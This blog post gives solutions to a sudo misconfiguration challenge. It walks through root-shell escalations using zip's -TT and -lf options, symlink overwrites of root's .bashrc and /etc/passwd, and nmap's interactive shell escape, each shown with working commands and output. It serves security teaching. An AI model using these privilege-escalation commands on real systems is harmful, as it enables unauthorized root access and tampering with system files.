Solutions to the Sudo Challenge!

A few weeks ago, we posted a security challenge in our "How I got root with Sudo" article on how to escalate privileges on real world examples of insecure Sudo configurations. Now that everyone's had the time to have a go, we are finally publishing the answers!

As we pointed out, there was more than one way to solve the challenge and we thought of at least two ways to get a root shell, an "easy" way and an "intrusive" way. A lot of people came up with different solutions but overall, all submissions would fall into either category.

About 15 people found the easy way and only 3 people found the intrusive way.

The easy way

The easy way consisted of abusing the -TT option of the zip program. Normally, the -TT option is intended to allow the user to specify an alternate command to the default "unzip -tqq" command to test the integrity of the resulting archive. We also learn from the man page that the zip program will append the name of the archive to the end of the command specified by the -TT option. Therefore, an elegant way to get a root shell with this would be as follows:

```
$ sudo /usr/local/bin/extract_docs.sh -T -TT '/bin/bash #'

 copying: etc/passwd

 copying: etc/group

# id

uid=0(root) gid=0(root) groups=0(root)

context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

The intrusive way

The intrusive way, on the other hand, certainly sounded more interesting and "sophisticated".

Most people were on the right track by suspecting it would consist of overwriting system files but only 3 people actually submitted a working solution.

The first valid answer was posted by “bburky” on /r/netsec, who found that the -lf option of the zip program could be abused to overwrite the .bashrc file of the root account:

```
$ cd /tmp/
$ ln -s /root/.bashrc logfile.log
$ sudo /usr/local/bin/extract_docs.sh -li -lf logfile "$(echo -e "\necho 'kevin
ALL=(ALL) ALL' > /etc/sudoers.d/getroot ")"
```

There are two drawbacks with this solution though. The attacker would have to wait for someone to login as root, and there would be a lot of syntax errors spewing out on screen upon login, which would likely tip off the unwitting victim and result in alarms going off.

The other two valid answers came from “ruse” and “peter” through comments to the blog post. They both chose to overwrite the actual extract_docs.sh script with the -lf option, which immediately lands the attacker into a root shell:

```
$ cp /usr/local/bin/extract_docs.sh.bak /tmp/extract_docs.sh.bak
$ sudo /usr/local/bin/extract_docs.sh -lf /usr/local/bin/extract_docs.sh ";
/bin/bash; cat /tmp/extract_docs.sh.bak > /usr/local/bin/extract_docs.sh"
[sudo] password for kevin:
  zip warning: not in archive: ; /bin/bash; cat /tmp/extract_docs.sh.bak >
/usr/local/bin/extract_docs.sh


zip error: Nothing to do! (/root/original-docs.zip)
/usr/local/bin/extract_docs.sh: line 3: /var/lib/extracted-docs.zip: Permission
denied
  zip warning: name not matched: not
  zip warning: name not matched: in
  zip warning: name not matched: archive:


zip error: Nothing to do! (warning:.zip)
```

```
# id

uid=0(root) gid=0(root) groups=0(root)

context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

The file is even automatically restored upon exiting the root shell, how thoughtful! ;)

Lastly, the intrusive way we thought of in the first place was to simply modify the /etc/passwd or /etc/shadow files:

```
$ ln -s /etc/passwd /tmp/lul.log

$ sudo /usr/local/bin/extract_docs.sh -lf /tmp/lul.log -la

$'\ntoor::0:0::/:/bin/bash\n'

[sudo] password for kevin:

  zip warning: not in archive:

toor::0:0::/:/bin/bash


zip error: Nothing to do! (/root/original-docs.zip)

$ su - toor

# id

uid=0(root) gid=0(root) groups=0(root)

context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

There certainly are other files that could be tempered with. For example, an attacker could add their own SSH key to the “authorized_keys” file of the root account or of any user allowed to casually gain root privileges, but the .ssh directory would have to already exist.

Bonus tips

We received some interesting comments to the post as well.

Thanks to @TheColonial for bringing to our attention that nmap also has an interactive mode that can be abused to get a root shell:

```
$ sudo nmap --interactive

[sudo] password for john:


Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )

Welcome to Interactive Mode -- press h  for help

nmap> !head -n1 /etc/shadow

root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:16128:0:99999:7:::

waiting to reap child: No child processes (10)

nmap>
```

The –interactive option was actually removed in nmap 5.35DC1, yet systems that bundle older versions of nmap would still be prone to this shell escape trick. Examples of which include fully up-to-date RHEL 5.10 which ships nmap-4.11, and RHEL 6.0 to 6.3 which ship nmap-5.21. Only RHEL 6.4 and above ship nmap-5.51.

Good to know, especially since we have actually seen nmap installed on production machines during our assessments…

Thanks to @kitkat also, for conveniently posting a rather useful command line for finding writeable libraries called by setuid binaries:

```
$ find / -type f -perm /6000 -exec ls -1 {} \; 2>/dev/null | xargs -i ldd {} | grep -oE '/[^ ]+' | sort -u | xargs ls -Ll | grep -iE '....w....|.......w.'
```

But we are kind of getting out of the "sudo" topic here though, and there is a lot to say about common techniques to escalate privileges on *nix systems. For example, in addition to checking file system permissions, we also advise you to check setuid binaries for RPATH sections, especially on systems with Oracle software installed (free hint). We will expand on that in a future post. Maybe…

Thanks for playing!